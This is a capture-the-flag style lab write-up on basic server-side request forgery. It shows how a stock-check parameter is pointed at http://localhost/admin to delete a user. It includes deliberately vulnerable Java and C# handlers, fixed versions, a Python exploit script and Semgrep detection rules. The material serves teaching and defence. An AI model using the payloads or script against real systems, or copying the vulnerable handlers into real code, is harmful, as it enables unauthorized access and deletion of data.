Lab 01: Basic SSRF against the local server
1. Executive Summary
Vulnerability: Server-Side Request Forgery (SSRF).
Description: The application features a “stock check” function that fetches data from an internal system. The endpoint receives the target URL via an HTTP parameter (stockApi). The backend server takes this user-supplied URL and makes an HTTP request to it without any validation. Because the request originates from the backend server itself, it can bypass external firewalls and access internal network resources, including administrative interfaces bound to the loopback address (localhost).
Impact: Privilege Escalation / Unauthorized Access. An attacker can pivot through the vulnerable web server to access internal administrative panels, extract sensitive data, or perform destructive actions (like deleting users) that are normally protected from the public internet.
2. The Attack
Objective: Exploit the stock check feature to access the local admin interface and delete the user carlos.
- Reconnaissance (Mapping Access Controls):
- I attempted to browse directly to
/adminusing the web browser. The server rejected the request (likely401 Unauthorizedor403 Forbidden), indicating that external IP addresses are not permitted to view the admin panel.
- I attempted to browse directly to
- Intercept & Inspect:
- I navigated to a product page and clicked the “Check stock” button.
- I intercepted the resulting
POST /product/stockrequest in Burp Suite and sent it to Repeater. - The request contained a parameter:
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1.
- Probing for SSRF:
- I modified the
stockApiparameter to point to the local administrative interface:stockApi=http://localhost/admin. - I sent the request. The application returned the raw HTML of the admin panel. The backend server successfully fetched the restricted page on my behalf, bypassing the external firewall.
- I modified the
- Exploitation:
- I reviewed the returned HTML to find the administrative action endpoints. I located the hyperlink designed to delete my target:
http://localhost/admin/delete?username=carlos. - I updated the
stockApiparameter one final time:stockApi=http://localhost/admin/delete?username=carlos. - I sent the request. The backend server executed the GET request against the local admin endpoint, effectively deleting the user
carlosfrom the system.
- I reviewed the returned HTML to find the administrative action endpoints. I located the hyperlink designed to delete my target:
3. Code Review
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@PostMapping("/product/stock")
public ResponseEntity<String> checkStock(@RequestParam("stockApi") String stockApi) {
try {
// VULNERABLE: The server takes the raw string from the user and turns it into a URL
URL url = new URL(stockApi);
// The server opens a connection to wherever the user specified
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
connection.setRequestMethod("GET");
// Reads the response from the target and returns it to the user
InputStream inputStream = connection.getInputStream();
String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
return ResponseEntity.ok(response);
} catch (Exception e) {
return ResponseEntity.status(500).body("Error checking stock");
}
}
Technical Flow & Syntax Explanation:
@RequestParam("stockApi"): Spring extracts the unvalidated URL string provided by the client.new URL(stockApi): The string is parsed into a URI object. There are no checks to ensure the host is permitted (e.g., preventinglocalhost,127.0.0.1, or internal subnets).url.openConnection(): This is the critical sink. The server actively initiates a network connection to the attacker-controlled destination. If the attacker specifies an internal administrative endpoint, the server executes the request using its own elevated network privileges.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[HttpPost("product/stock")]
public async Task<IActionResult> CheckStock([FromForm] string stockApi)
{
// VULNERABLE: Creating an HTTP client to fetch a user-controlled URL
using (var client = new HttpClient())
{
try
{
// The server makes a GET request to the specified address
var response = await client.GetStringAsync(stockApi);
return Content(response, "text/html");
}
catch (HttpRequestException)
{
return StatusCode(500, "Error fetching stock information");
}
}
}
Technical Flow & Syntax Explanation:
[FromForm] string stockApi: Binds the URL from the POST body directly to the local variable.client.GetStringAsync(stockApi): TheHttpClientblindly executes a GET request against the provided string. BecauseHttpClientexecutes within the context of the hosting server, it automatically bypasses edge firewalls and can access endpoints mapped strictly to the loopback interface (localhost).
Mock PR Comment
The CheckStock endpoint accepts a raw URL from the client and fetches it directly from the backend. This introduces a Server-Side Request Forgery (SSRF) vulnerability. Attackers can use this to scan our internal network, read internal metadata services, or interact with restricted administrative endpoints bound to localhost.
Recommendation: Do not accept full URLs from the client. Instead, pass a simple identifier (e.g., productId and storeId) and construct the internal API URL entirely on the server side.
4. The Fix
Explanation of the Fix:
The most robust defense against SSRF is eliminating the need to accept URLs from the client altogether. By implementing an Indirect Object Reference, the client only sends safe, typed data (like integers), and the server constructs the internal request using a hardcoded, trusted base URL.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@PostMapping("/product/stock")
// SECURE: Accept discrete IDs instead of full URLs
public ResponseEntity<String> checkStock(@RequestParam("productId") int productId,
@RequestParam("storeId") int storeId) {
try {
// Construct the URL safely on the server
String internalApiBase = "http://internal-stock.api:8080/check";
String targetUrl = String.format("%s?productId=%d&storeId=%d", internalApiBase, productId, storeId);
URL url = new URL(targetUrl);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
InputStream inputStream = connection.getInputStream();
String response = new String(inputStream.readAllBytes(), StandardCharsets.UTF_8);
return ResponseEntity.ok(response);
} catch (Exception e) {
return ResponseEntity.status(500).body("Error checking stock");
}
}
Technical Flow & Syntax Explanation:
@RequestParam int productId: Enforces strict typing. The attacker can only supply integers, not protocol schemes or hostnames.internalApiBase: The root of the internal API is hardcoded on the server. The attacker has zero influence over the scheme (http://), host (internal-stock.api), or port (8080).
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[HttpPost("product/stock")]
// SECURE: Accept only integers, preventing URL manipulation
public async Task<IActionResult> CheckStock([FromForm] int productId, [FromForm] int storeId)
{
using (var client = new HttpClient())
{
try
{
// Server dictates the destination
var internalUrl = $"http://internal-stock.api:8080/check?productId={productId}&storeId={storeId}";
var response = await client.GetStringAsync(internalUrl);
return Content(response, "text/html");
}
catch (HttpRequestException)
{
return StatusCode(500, "Error fetching stock information");
}
}
}
Technical Flow & Syntax Explanation:
- String Interpolation (
$"{...}"): The user’s input (productIdandstoreId) is safely appended as query parameters to a trusted base URL. It is mathematically impossible for the attacker to forceHttpClientto navigate tohttp://localhost/adminusing integer inputs.
5. Automation
A Python script utilizing argparse and requests to deliver the SSRF payload from the command line.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import argparse
import requests
import sys
def exploit_ssrf_delete_user(url, target_user):
# Construct the URL for the stock check endpoint
stock_endpoint = f"{url.rstrip('/')}/product/stock"
# Construct the SSRF payload targeting the local admin interface
ssrf_payload = f"http://localhost/admin/delete?username={target_user}"
data = {
"stockApi": ssrf_payload
}
print(f"[*] Targeting endpoint: {stock_endpoint}")
print(f"[*] Delivering SSRF payload: {ssrf_payload}")
try:
# Send the POST request to the vulnerable endpoint
resp = requests.post(stock_endpoint, data=data)
# Check if the server responded successfully
if resp.status_code == 200:
print(f"[!!!] SUCCESS: SSRF payload sent. User '{target_user}' should be deleted.")
else:
print(f"[-] Request failed with status code: {resp.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] A network error occurred: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Exploit Basic SSRF to delete a user via localhost admin panel.")
parser.add_argument("url", help="The base URL of the vulnerable lab.")
parser.add_argument("--user", default="carlos", help="The username to delete (default: carlos).")
args = parser.parse_args()
exploit_ssrf_delete_user(args.url, args.user)
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rules:
- id: java-ssrf-url-openconnection
languages: [java]
message: |
Potential Server-Side Request Forgery (SSRF).
An external URL is constructed from user input and fetched by the server.
Use an allowlist or indirect object references to prevent accessing arbitrary internal hosts.
severity: ERROR
patterns:
- pattern-inside: |
public $RET $METHOD(..., String $URL, ...) { ... }
- pattern-either:
- pattern: |
URL $U = new URL($URL);
...
$U.openConnection();
- pattern: |
URL $U = new URL($URL);
...
$U.openStream();
Technical Flow & Syntax Explanation:
pattern-inside: Narrows the scope to methods that accept aStringas an argument, mimicking a parameter supplied by a user.new URL($URL): Captures the instantiation of the Java URL object using that specific string variable.openConnection()/openStream(): Flags the exact sink where the application initiates the network call to the potentially untrusted destination.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
- id: csharp-ssrf-httpclient
languages: [csharp]
message: |
Potential SSRF detected. 'HttpClient' is making a request using a URL derived from method parameters.
Ensure the URL is validated against a strict allowlist or constructed entirely server-side.
severity: ERROR
patterns:
- pattern-inside: |
public $RET $METHOD(..., string $URL, ...) { ... }
- pattern-either:
- pattern: $CLIENT.GetStringAsync($URL)
- pattern: $CLIENT.GetAsync($URL)
- pattern: $CLIENT.PostAsync($URL, ...)
Technical Flow & Syntax Explanation:
public $RET $METHOD(..., string $URL, ...): Identifies ASP.NET controller methods that accept a string parameter.$CLIENT.GetAsync($URL): Detects when that specific string parameter is passed directly into anHttpClientexecution method. This pinpoints the critical data flow from the untrusted source to the network sink.
